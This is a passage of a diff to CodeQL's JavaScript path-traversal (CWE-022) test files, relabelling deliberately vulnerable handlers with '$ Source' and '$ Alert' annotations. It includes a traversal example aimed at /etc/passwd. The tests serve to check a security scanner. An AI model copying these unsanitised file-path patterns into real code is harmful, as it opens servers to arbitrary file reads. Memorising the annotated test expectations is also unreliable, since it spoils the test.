-    fs.readFileSync(normalizedPath); // NOT OK
+    fs.readFileSync(normalizedPath); // $ Alert
 });
 
 app.get('/decode-after-normalization', (req, res) => {
-  let path = pathModule.normalize(req.query.path);
+  let path = pathModule.normalize(req.query.path); // $ Source
 
   if (!pathModule.isAbsolute(path) && !path.startsWith('..'))
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
 
   path = decodeURIComponent(path);
 
   if (!pathModule.isAbsolute(path) && !path.startsWith('..'))
-    fs.readFileSync(path); // NOT OK - not normalized
+    fs.readFileSync(path); // $ Alert - not normalized
 });
 
 app.get('/replace', (req, res) => {
-  let path = pathModule.normalize(req.query.path).replace(/%20/g, ' ');
+  let path = pathModule.normalize(req.query.path).replace(/%20/g, ' '); // $ Source
   if (!pathModule.isAbsolute(path)) {
-    fs.readFileSync(path); // NOT OK
+    fs.readFileSync(path); // $ Alert
 
     path = path.replace(/\.\./g, '');
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   }
 });
 
 app.get('/resolve-path', (req, res) => {
-  let path = pathModule.resolve(req.query.path);
+  let path = pathModule.resolve(req.query.path); // $ Source
 
-  fs.readFileSync(path); // NOT OK
+  fs.readFileSync(path); // $ Alert
 
   var self = something();
 
   if (path.substring(0, self.dir.length) === self.dir)
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   else
-    fs.readFileSync(path); // NOT OK - wrong polarity
+    fs.readFileSync(path); // $ Alert - wrong polarity
 
   if (path.slice(0, self.dir.length) === self.dir)
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   else
-    fs.readFileSync(path); // NOT OK - wrong polarity
+    fs.readFileSync(path); // $ Alert - wrong polarity
 });
 
 app.get('/relative-startswith', (req, res) => {
-  let path = pathModule.resolve(req.query.path);
+  let path = pathModule.resolve(req.query.path); // $ Source
 
-  fs.readFileSync(path); // NOT OK
+  fs.readFileSync(path); // $ Alert
 
   var self = something();
 
   var relative = pathModule.relative(self.webroot, path);
   if(relative.startsWith(".." + pathModule.sep) || relative == "..") {
-    fs.readFileSync(path); // NOT OK!
+    fs.readFileSync(path); // $ Alert
   } else {
-    fs.readFileSync(path); // OK!
+    fs.readFileSync(path);
   }
 
   let newpath = pathModule.normalize(path);
   var relativePath = pathModule.relative(pathModule.normalize(workspaceDir), newpath);
   if (relativePath.indexOf('..' + pathModule.sep) === 0) {
-    fs.readFileSync(newpath); // NOT OK!
+    fs.readFileSync(newpath); // $ Alert
   } else {
-    fs.readFileSync(newpath); // OK!
+    fs.readFileSync(newpath);
   }
 
   let newpath = pathModule.normalize(path);
   var relativePath = pathModule.relative(pathModule.normalize(workspaceDir), newpath);
   if (relativePath.indexOf('../') === 0) {
-    fs.readFileSync(newpath); // NOT OK!
+    fs.readFileSync(newpath); // $ Alert
   } else {
-    fs.readFileSync(newpath); // OK!
+    fs.readFileSync(newpath);
   }
 
   let newpath = pathModule.normalize(path);
   var relativePath = pathModule.relative(pathModule.normalize(workspaceDir), newpath);
   if (pathModule.normalize(relativePath).indexOf('../') === 0) {
-    fs.readFileSync(newpath); // NOT OK!
+    fs.readFileSync(newpath); // $ Alert
   } else {
-    fs.readFileSync(newpath); // OK!
+    fs.readFileSync(newpath);
   }
 
   let newpath = pathModule.normalize(path);
   var relativePath = pathModule.relative(pathModule.normalize(workspaceDir), newpath);
   if (pathModule.normalize(relativePath).indexOf('../')) {
-    fs.readFileSync(newpath); // OK!
+    fs.readFileSync(newpath);
   } else {
-    fs.readFileSync(newpath); // NOT OK!
+    fs.readFileSync(newpath); // $ Alert
   }
 });
 
 var isPathInside = require("is-path-inside"),
     pathIsInside = require("path-is-inside");
 app.get('/pseudo-normalizations', (req, res) => {
-	let path = req.query.path;
-	fs.readFileSync(path); // NOT OK
+	let path = req.query.path; // $ Source
+	fs.readFileSync(path); // $ Alert
 	if (isPathInside(path, SAFE)) {
-		fs.readFileSync(path); // OK
+		fs.readFileSync(path);
 		return;
 	} else {
-		fs.readFileSync(path); // NOT OK
+		fs.readFileSync(path); // $ Alert
 
 	}
 	if (pathIsInside(path, SAFE)) {
-		fs.readFileSync(path); // NOT OK - can be of the form 'safe/directory/../../../etc/passwd'
+		fs.readFileSync(path); // $ Alert - can be of the form 'safe/directory/../../../etc/passwd'
 		return;
 	} else {
-		fs.readFileSync(path); // NOT OK
+		fs.readFileSync(path); // $ Alert
 
 	}
 
 	let normalizedPath = pathModule.join(SAFE, path);
 	if (pathIsInside(normalizedPath, SAFE)) {
-		fs.readFileSync(normalizedPath); // OK
+		fs.readFileSync(normalizedPath);
 		return;
 	} else {
-		fs.readFileSync(normalizedPath); // NOT OK
+		fs.readFileSync(normalizedPath); // $ Alert
 	}
 
 	if (pathIsInside(normalizedPath, SAFE)) {
-		fs.readFileSync(normalizedPath); // OK
+		fs.readFileSync(normalizedPath);
 		return;
 	} else {
-		fs.readFileSync(normalizedPath); // NOT OK
+		fs.readFileSync(normalizedPath); // $ Alert
 
 	}
 
 });
 
 app.get('/yet-another-prefix', (req, res) => {
-	let path = pathModule.resolve(req.query.path);
+	let path = pathModule.resolve(req.query.path); // $ Source
 
-	fs.readFileSync(path); // NOT OK
+	fs.readFileSync(path); // $ Alert
 
 	var abs = pathModule.resolve(path);
 
 	if (abs.indexOf(root) !== 0) {
-		fs.readFileSync(path); // NOT OK
+		fs.readFileSync(path); // $ Alert
 		return;
     }
-	fs.readFileSync(path); // OK
+	fs.readFileSync(path);
 });
 
 var rootPath = process.cwd();
 app.get('/yet-another-prefix2', (req, res) => {
-  let path = req.query.path;
+  let path = req.query.path; // $ Source
 
-  fs.readFileSync(path); // NOT OK
+  fs.readFileSync(path); // $ Alert
 
   var requestPath = pathModule.join(rootPath, path);
 
   var targetPath;
   if (!allowPath(requestPath, rootPath)) {
     targetPath = rootPath;
-    fs.readFileSync(requestPath); // NOT OK
+    fs.readFileSync(requestPath); // $ Alert
   } else {
     targetPath = requestPath;
-    fs.readFileSync(requestPath); // OK
+    fs.readFileSync(requestPath);
   }
-  fs.readFileSync(targetPath); // OK
+  fs.readFileSync(targetPath);
 
   function allowPath(requestPath, rootPath) {
     return requestPath.indexOf(rootPath) === 0;
@@ -374,58 +374,58 @@ app.get('/yet-another-prefix2', (req, res) => {
 
 import slash from 'slash';
 app.get('/slash-stuff', (req, res) => {
-  let path = req.query.path;
+  let path = req.query.path; // $ Source
 
-  fs.readFileSync(path); // NOT OK
+  fs.readFileSync(path); // $ Alert
 
-  fs.readFileSync(slash(path)); // NOT OK
+  fs.readFileSync(slash(path)); // $ Alert
 });
 
 app.get('/dotdot-regexp', (req, res) => {
-  let path = pathModule.normalize(req.query.x);
+  let path = pathModule.normalize(req.query.x); // $ Source
   if (pathModule.isAbsolute(path))
     return;
-  fs.readFileSync(path); // NOT OK
+  fs.readFileSync(path); // $ Alert
   if (!path.match(/\./)) {
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   }
   if (!path.match(/\.\./)) {
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   }
   if (!path.match(/\.\.\//)) {
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   }
   if (!path.match(/\.\.\/foo/)) {
-    fs.readFileSync(path); // NOT OK
+    fs.readFileSync(path); // $ Alert
   }
   if (!path.match(/(\.\.\/|\.\.\\)/)) {
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   }
 });
 
 app.get('/join-spread', (req, res) => {
-  fs.readFileSync(pathModule.join('foo', ...req.query.x.split('/'))); // NOT OK
-  fs.readFileSync(pathModule.join(...req.query.x.split('/'))); // NOT OK
+  fs.readFileSync(pathModule.join('foo', ...req.query.x.split('/'))); // $ Alert
+  fs.readFileSync(pathModule.join(...req.query.x.split('/'))); // $ Alert
 });
 
 app.get('/dotdot-matchAll-regexp', (req, res) => {
-  let path = pathModule.normalize(req.query.x);
+  let path = pathModule.normalize(req.query.x); // $ Source
   if (pathModule.isAbsolute(path))
     return;
-  fs.readFileSync(path); // NOT OK
+  fs.readFileSync(path); // $ Alert
   if (!path.matchAll(/\./)) {
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   }
   if (!path.matchAll(/\.\./)) {
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   }
   if (!path.matchAll(/\.\.\//)) {
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   }
   if (!path.matchAll(/\.\.\/foo/)) {
-    fs.readFileSync(path); // NOT OK
+    fs.readFileSync(path); // $ Alert
   }
   if (!path.matchAll(/(\.\.\/|\.\.\\)/)) {
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   }
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/other-fs-libraries.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/other-fs-libraries.js
index 1dac13246c6f..3c137faa8c94 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/other-fs-libraries.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/other-fs-libraries.js
@@ -6,22 +6,22 @@ var http = require("http"),
   originalFs = require("original-fs");
 
 var server = http.createServer(function(req, res) {
-  var path = url.parse(req.url, true).query.path;
+  var path = url.parse(req.url, true).query.path; // $ Source
 
-  fs.readFileSync(path); // NOT OK
-  gracefulFs.readFileSync(path); // NOT OK
-  fsExtra.readFileSync(path); // NOT OK
-  originalFs.readFileSync(path); // NOT OK
+  fs.readFileSync(path); // $ Alert
+  gracefulFs.readFileSync(path); // $ Alert
+  fsExtra.readFileSync(path); // $ Alert
+  originalFs.readFileSync(path); // $ Alert
 
-  getFsModule(true).readFileSync(path); // NOT OK
-  getFsModule(false).readFileSync(path); // NOT OK
+  getFsModule(true).readFileSync(path); // $ Alert
+  getFsModule(false).readFileSync(path); // $ Alert
 
-  require("./my-fs-module").require(true).readFileSync(path); // NOT OK
+  require("./my-fs-module").require(true).readFileSync(path); // $ Alert
 
   let flexibleModuleName = require(process.versions["electron"]
     ? "original-fs"
     : "fs");
-  flexibleModuleName.readFileSync(path); // NOT OK
+  flexibleModuleName.readFileSync(path); // $ Alert
 });
 
 function getFsModule(special) {
@@ -35,50 +35,50 @@ function getFsModule(special) {
 var util = require("util");
 
 http.createServer(function(req, res) {
-  var path = url.parse(req.url, true).query.path;
+  var path = url.parse(req.url, true).query.path; // $ Source
 
-  util.promisify(fs.readFileSync)(path); // NOT OK
-  require("bluebird").promisify(fs.readFileSync)(path); // NOT OK
-  require("bluebird").promisifyAll(fs).readFileSync(path); // NOT OK
+  util.promisify(fs.readFileSync)(path); // $ Alert
+  require("bluebird").promisify(fs.readFileSync)(path); // $ Alert
+  require("bluebird").promisifyAll(fs).readFileSync(path); // $ Alert
 });
 
 
 const asyncFS = require("./my-async-fs-module");
 
 http.createServer(function(req, res) {
-  var path = url.parse(req.url, true).query.path;
+  var path = url.parse(req.url, true).query.path; // $ Source
 
-  fs.readFileSync(path); // NOT OK
-  asyncFS.readFileSync(path); // NOT OK
+  fs.readFileSync(path); // $ Alert
+  asyncFS.readFileSync(path); // $ Alert
 
-  require("pify")(fs.readFileSync)(path); // NOT OK
-  require("pify")(fs).readFileSync(path); // NOT OK
+  require("pify")(fs.readFileSync)(path); // $ Alert
+  require("pify")(fs).readFileSync(path); // $ Alert
 
-  require('util.promisify')(fs.readFileSync)(path); // NOT OK
+  require('util.promisify')(fs.readFileSync)(path); // $ Alert
 
-  require("thenify")(fs.readFileSync)(path); // NOT OK
+  require("thenify")(fs.readFileSync)(path); // $ Alert
 
   const readPkg = require('read-pkg');
-  var pkg = readPkg.readPackageSync({cwd: path}); // NOT OK
-  var pkgPromise = readPkg.readPackageAsync({cwd: path}); // NOT OK
+  var pkg = readPkg.readPackageSync({cwd: path}); // $ Alert
+  var pkgPromise = readPkg.readPackageAsync({cwd: path}); // $ Alert
 });
 
 const mkdirp = require("mkdirp");
 http.createServer(function(req, res) {
-  var path = url.parse(req.url, true).query.path;
+  var path = url.parse(req.url, true).query.path; // $ Source
 
-  fs.readFileSync(path); // NOT OK
-  mkdirp(path); // NOT OK
-  mkdirp.sync(path); // NOT OK
+  fs.readFileSync(path); // $ Alert
+  mkdirp(path); // $ Alert
+  mkdirp.sync(path); // $ Alert
   func(path);
 });
 function func(x) {
-  fs.readFileSync(x); // NOT OK
+  fs.readFileSync(x); // $ Alert
 }
 
 const fsp = require("fs/promises");
 http.createServer(function(req, res) {
-  var path = url.parse(req.url, true).query.path;
+  var path = url.parse(req.url, true).query.path; // $ Source
 
-  fsp.readFile(path); // NOT OK
+  fsp.readFile(path); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/prettier.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/prettier.js
index 7546bb2c2938..c198082b9932 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/prettier.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/prettier.js
@@ -3,12 +3,12 @@ const prettier = require("prettier");
 
 const app = express();
 app.get('/some/path', function (req, res) {
-    const { p } = req.params;
-    prettier.resolveConfig(p).then((options) => { // NOT OK
+    const { p } = req.params; // $ Source
+    prettier.resolveConfig(p).then((options) => { // $ Alert
         const formatted = prettier.format("foo", options);
     });
 
-    prettier.resolveConfig("foo", {config: p}).then((options) => { // NOT OK
+    prettier.resolveConfig("foo", {config: p}).then((options) => { // $ Alert
         const formatted = prettier.format("bar", options);
     });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/pupeteer.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/pupeteer.js
index 363b2f014c7a..8b0a64f523c9 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/pupeteer.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/pupeteer.js
@@ -2,15 +2,15 @@ const puppeteer = require('puppeteer');
 const parseTorrent = require('parse-torrent');
 
 (async () => {
-    let tainted = "dir/" + parseTorrent(torrent).name + ".torrent.data";
+    let tainted = "dir/" + parseTorrent(torrent).name + ".torrent.data"; // $ Source
 
     const browser = await puppeteer.launch();
     const page = await browser.newPage();
-    await page.pdf({ path: tainted, format: 'a4' });
+    await page.pdf({ path: tainted, format: 'a4' }); // $ Alert
 
     const pages = await browser.pages();
     for (let i = 0; i < something(); i++) {
-        pages[i].screenshot({ path: tainted });
+        pages[i].screenshot({ path: tainted }); // $ Alert
     }
 
     await browser.close();
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/sharedlib-repro.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/sharedlib-repro.js
index eebc95348ba6..23c89ab5baec 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/sharedlib-repro.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/sharedlib-repro.js
@@ -10,7 +10,7 @@ function getTree(req, res, options) {
     var workspaceId = req.params.workspaceId;
     var realfileRootPath = workspaceId; // getfileRoot(workspaceId);
     var filePath = workspaceId; // path.join(options.workspaceDir,realfileRootPath, req.params["0"]);
-    withStatsAndETag(req.params.workspaceId, function (err, stats, etag) {});
+    withStatsAndETag(req.params.workspaceId, function (err, stats, etag) {}); // $ Source
 }
 
 function getfileRoot(workspaceId) {
@@ -19,7 +19,7 @@ function getfileRoot(workspaceId) {
 }
 
 function withStatsAndETag(filepath, callback) {
-	fs.readFileSync(filepath); // NOT OK
+	fs.readFileSync(filepath); // $ Alert
 };
 
 function decodeUserIdFromWorkspaceId(workspaceId) {
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-access-paths.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-access-paths.js
index 465b5b70b690..ab5d3f008507 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-access-paths.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-access-paths.js
@@ -3,32 +3,32 @@ var fs = require('fs'),
     url = require('url');
 
 var server = http.createServer(function(req, res) {
-  let path = url.parse(req.url, true).query.path;
+  let path = url.parse(req.url, true).query.path; // $ Source
   
-  fs.readFileSync(path); // NOT OK
+  fs.readFileSync(path); // $ Alert
 
   var obj = bla ? something() : path;
 
-  fs.readFileSync(obj.sub); // NOT OK
+  fs.readFileSync(obj.sub); // $ Alert
 
   obj.sub = "safe";
 
-  fs.readFileSync(obj.sub); // OK
+  fs.readFileSync(obj.sub);
 
   obj.sub2 = "safe";
   if (random()) {
-    fs.readFileSync(obj.sub2); // OK
+    fs.readFileSync(obj.sub2);
   }
 
   if (random()) {
     obj.sub3 = "safe"
   }
-  fs.readFileSync(obj.sub3); // NOT OK
+  fs.readFileSync(obj.sub3); // $ Alert
 
   obj.sub4 = 
-    fs.readFileSync(obj.sub4) ? // NOT OK
-      fs.readFileSync(obj.sub4) : // NOT OK
-      fs.readFileSync(obj.sub4); // NOT OK
+    fs.readFileSync(obj.sub4) ? // $ Alert
+      fs.readFileSync(obj.sub4) : // $ Alert
+      fs.readFileSync(obj.sub4); // $ Alert
 });
 
 server.listen();
@@ -36,8 +36,8 @@ server.listen();
 var nodefs = require('node:fs');
 
 var server2 = http.createServer(function(req, res) {
-  let path = url.parse(req.url, true).query.path;
-  nodefs.readFileSync(path); // NOT OK
+  let path = url.parse(req.url, true).query.path; // $ Source
+  nodefs.readFileSync(path); // $ Alert
 });
 
 server2.listen();
@@ -45,6 +45,6 @@ server2.listen();
 const chownr = require("chownr");
 
 var server3 = http.createServer(function (req, res) {
-  let path = url.parse(req.url, true).query.path;
-  chownr(path, "someuid", "somegid", function (err) {}); // NOT OK
+  let path = url.parse(req.url, true).query.path; // $ Source
+  chownr(path, "someuid", "somegid", function (err) {}); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-array-steps.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-array-steps.js
index 061dec18a908..b37ebc2926ad 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-array-steps.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-array-steps.js
@@ -7,11 +7,11 @@ var fs = require('fs'),
 
 var server = http.createServer(function(req, res) {
   let path = url.parse(req.url, true).query.path;
-  res.write(fs.readFileSync(['public', path].join('/'))); // BAD - but not flagged because we have no array-steps [INCONSISTENCY]
+  res.write(fs.readFileSync(['public', path].join('/'))); // $ MISSING: Alert - not flagged because we have no array-steps
 
   let parts = ['public', path];
   parts = parts.map(x => x.toLowerCase());
-  res.write(fs.readFileSync(parts.join('/'))); // BAD - but not flagged because we have no array-steps [INCONSISTENCY]
+  res.write(fs.readFileSync(parts.join('/'))); // $ MISSING: Alert - not flagged because we have no array-steps
 });
 
 server.listen();
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-promise-steps.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-promise-steps.js
index 49c5fa78fe8d..a21ae5a6f915 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-promise-steps.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-promise-steps.js
@@ -3,13 +3,13 @@ var fs = require('fs'),
     url = require('url');
 
 var server = http.createServer(function(req, res) {
-  let path = url.parse(req.url, true).query.path;
+  let path = url.parse(req.url, true).query.path; // $ Source
   doRead(Promise.resolve(path));
 });
 
 async function doRead(pathPromise) {
-  fs.readFileSync(await pathPromise); // NOT OK
-  pathPromise.then(path => fs.readFileSync(path)); // NO TOK
+  fs.readFileSync(await pathPromise); // $ Alert
+  pathPromise.then(path => fs.readFileSync(path)); // $ Alert
 }
 
 server.listen();
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-require.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-require.js
index 23f89c55c39f..d9c07feb26b6 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-require.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-require.js
@@ -3,15 +3,14 @@ var express = require('express');
 var app = express();
 
 app.get('/some/path', function(req, res) {
-  // BAD: loading a module based on un-sanitized query parameters
-  var m = require(req.param("module"));
+  var m = require(req.param("module")); // $ Alert - loading a module based on un-sanitized query parameters
 });
 
 const resolve = require("resolve");
 app.get('/some/path', function(req, res) {
-  var module = resolve.sync(req.param("module")); // NOT OK - resolving module based on query parameters
+  var module = resolve.sync(req.param("module")); // $ Alert - resolving module based on query parameters
 
-  resolve(req.param("module"), { basedir: __dirname }, function(err, res) { // NOT OK - resolving module based on query parameters
+  resolve(req.param("module"), { basedir: __dirname }, function(err, res) { // $ Alert - resolving module based on query parameters
     var module = res;
   });
 });
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-sendFile.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-sendFile.js
index f4f289895a86..1c58a6943fa2 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-sendFile.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-sendFile.js
@@ -4,39 +4,33 @@ let path = require('path');
 var app = express();
 
 app.get('/some/path/:x', function(req, res) {
-  // BAD: sending a file based on un-sanitized query parameters
-  res.sendFile(req.param("gimme"));
-  // BAD: same as above
-  res.sendfile(req.param("gimme"));
+  res.sendFile(req.param("gimme")); // $ Alert - sending a file based on un-sanitized query parameters
+  res.sendfile(req.param("gimme")); // $ Alert - same as above
 
-  // GOOD: ensures files cannot be accessed outside of root folder
+  // OK - ensures files cannot be accessed outside of root folder
   res.sendFile(req.param("gimme"), { root: process.cwd() });
-  // GOOD: ensures files cannot be accessed outside of root folder
+  // OK - ensures files cannot be accessed outside of root folder
   res.sendfile(req.param("gimme"), { root: process.cwd() });
 
-  // BAD: doesn't help if user controls root
-  res.sendFile(req.param("file"), { root: req.param("dir") });
+  res.sendFile(req.param("file"), { root: req.param("dir") }); // $ Alert - doesn't help if user controls root
 
   let homeDir = path.resolve('.');
-  res.sendFile(homeDir + '/data/' + req.params.x); // OK: sendFile disallows ../
-  res.sendfile('data/' + req.params.x); // OK: sendfile disallows ../
+  res.sendFile(homeDir + '/data/' + req.params.x); // OK - sendFile disallows ../
+  res.sendfile('data/' + req.params.x); // OK - sendfile disallows ../
 
-  res.sendFile(path.resolve('data', req.params.x)); // NOT OK
-  res.sendfile(path.join('data', req.params.x)); // NOT OK
+  res.sendFile(path.resolve('data', req.params.x)); // $ Alert
+  res.sendfile(path.join('data', req.params.x)); // $ Alert
 
   res.sendFile(homeDir + path.join('data', req.params.x)); // kinda OK - can only escape from 'data/'
 
-  // BAD: downloading a file based on un-sanitized query parameters
-  res.download(req.param("gimme"));
+  res.download(req.param("gimme")); // $ Alert
 
-  // BAD: download allows ../
-  res.download(homeDir + '/data/' + req.params.x);
+  res.download(homeDir + '/data/' + req.params.x); // $ Alert
 
-  res.download(path.join('data', req.params.x)); // NOT OK
+  res.download(path.join('data', req.params.x)); // $ Alert
 
-  // BAD: doesn't help if user controls root
-  res.download(req.param("file"), { root: req.param("dir") });
+  res.download(req.param("file"), { root: req.param("dir") }); // $ Alert
 
-  // GOOD: ensures files cannot be accessed outside of root folder
+  // OK - ensures files cannot be accessed outside of root folder
   res.download(req.param("gimme"), { root: process.cwd() });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-string-steps.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-string-steps.js
index 1b1e87b9a76a..6f281013a63c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-string-steps.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/tainted-string-steps.js
@@ -3,29 +3,29 @@ var fs = require('fs'),
     url = require('url');
 
 var server = http.createServer(function(req, res) {
-  let path = url.parse(req.url, true).query.path;
-	fs.readFileSync(path.substring(i, j)); // OK
-	fs.readFileSync(path.substring(4)); // NOT OK
-	fs.readFileSync(path.substring(0, i)); // NOT OK
-	fs.readFileSync(path.substr(4)); // NOT OK
-	fs.readFileSync(path.slice(4)); // NOT OK
+  let path = url.parse(req.url, true).query.path; // $ Source
+	fs.readFileSync(path.substring(i, j));
+	fs.readFileSync(path.substring(4)); // $ Alert
+	fs.readFileSync(path.substring(0, i)); // $ Alert
+	fs.readFileSync(path.substr(4)); // $ Alert
+	fs.readFileSync(path.slice(4)); // $ Alert
 
-	fs.readFileSync(path.concat(unknown)); // NOT OK
-	fs.readFileSync(unknown.concat(path)); // NOT OK
-	fs.readFileSync(unknown.concat(unknown, path)); // NOT OK
+	fs.readFileSync(path.concat(unknown)); // $ Alert
+	fs.readFileSync(unknown.concat(path)); // $ Alert
+	fs.readFileSync(unknown.concat(unknown, path)); // $ Alert
 
-	fs.readFileSync(path.trim()); // NOT OK
-	fs.readFileSync(path.toLowerCase()); // NOT OK
+	fs.readFileSync(path.trim()); // $ Alert
+	fs.readFileSync(path.toLowerCase()); // $ Alert
 
-	fs.readFileSync(path.split('/')); // OK (readFile throws an exception when the filename is an array)
-	fs.readFileSync(path.split('/')[0]); // OK -- for now
-	fs.readFileSync(path.split('/')[i]); // NOT OK
-	fs.readFileSync(path.split(/\//)[i]); // NOT OK
-	fs.readFileSync(path.split("?")[0]); // NOT OK
-	fs.readFileSync(path.split(unknown)[i]); // NOT OK -- but not yet flagged [INCONSISTENCY]
-	fs.readFileSync(path.split(unknown).whatever); // OK -- but still flagged [INCONSISTENCY]
-	fs.readFileSync(path.split(unknown)); // NOT OK
-	fs.readFileSync(path.split("?")[i]); // NOT OK -- but not yet flagged [INCONSISTENCY]
+	fs.readFileSync(path.split('/')); // OK - readFile throws an exception when the filename is an array
+	fs.readFileSync(path.split('/')[0]); // OK - for now
+	fs.readFileSync(path.split('/')[i]); // $ Alert
+	fs.readFileSync(path.split(/\//)[i]); // $ Alert
+	fs.readFileSync(path.split("?")[0]); // $ Alert
+	fs.readFileSync(path.split(unknown)[i]); // $ MISSING: Alert
+	fs.readFileSync(path.split(unknown).whatever); // $ SPURIOUS: Alert
+	fs.readFileSync(path.split(unknown)); // $ Alert
+	fs.readFileSync(path.split("?")[i]); // $ MISSING: Alert
 });
 
 server.listen();
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/torrents.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/torrents.js
index 1e95cf84ec76..d3c74ed8493d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/torrents.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/torrents.js
@@ -2,7 +2,7 @@ const parseTorrent = require('parse-torrent'),
       fs = require('fs');
 
 function getTorrentData(dir, torrent){
-	let name = parseTorrent(torrent).name,
+	let name = parseTorrent(torrent).name, // $ Source
 	    loc = dir + "/" + name + ".torrent.data";
-	return fs.readFileSync(loc); // NOT OK
+	return fs.readFileSync(loc); // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/typescript.ts b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/typescript.ts
index f5fd62b2ee00..a0d2a78b5d7b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/typescript.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/typescript.ts
@@ -6,29 +6,28 @@ var fs = require('fs'),
     ;
 
 var server = http.createServer(function(req, res) {
-  let path = url.parse(req.url, true).query.path;
+  let path = url.parse(req.url, true).query.path; // $ Source
 
-  // BAD: This could read any file on the file system
-  res.write(fs.readFileSync(path));
+  res.write(fs.readFileSync(path)); // $ Alert - This could read any file on the file system
 
   if (path === 'foo.txt')
-    res.write(fs.readFileSync(path)); // GOOD: Path is compared to white-list
+    res.write(fs.readFileSync(path)); // OK - Path is compared to white-list
 
   let path2 = path;
-  path2 ||= res.write(fs.readFileSync(path2)); // GOOD: path is falsy
+  path2 ||= res.write(fs.readFileSync(path2)); // OK - path is falsy
 
   let path3 = path;
-  path3 &&= res.write(fs.readFileSync(path3)); // BAD: path is truthy
+  path3 &&= res.write(fs.readFileSync(path3)); // $ Alert - path is truthy
 
   let path4 = path;
-  path4 ??= res.write(fs.readFileSync(path4)); // GOOD - path is null or undefined - but we don't capture that. [INCONSISTENCY]
+  path4 ??= res.write(fs.readFileSync(path4)); // $ SPURIOUS: Alert - path is null or undefined - but we don't capture that.
 
   let path5 = path;
   path5 &&= "clean";
-  res.write(fs.readFileSync(path5)); // GOOD: path is either falsy or "clean";
+  res.write(fs.readFileSync(path5)); // OK - path is either falsy or "clean";
 
   let path6 = path;
   path6 ||= "clean";
-  res.write(fs.readFileSync(path6)); // BAD: path can still be tainted
+  res.write(fs.readFileSync(path6)); // $ Alert - path can still be tainted
 
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/views.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/views.js
index 37ba5b7ab0e3..111ecd10c5a2 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/views.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/views.js
@@ -1 +1 @@
-module.exports = (req, res) => res.render(req.params[0]);
+module.exports = (req, res) => res.render(req.params[0]); // $ Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/AdmZipBad.js b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/AdmZipBad.js
index 1de89842eb0d..8f587f6e143c 100644
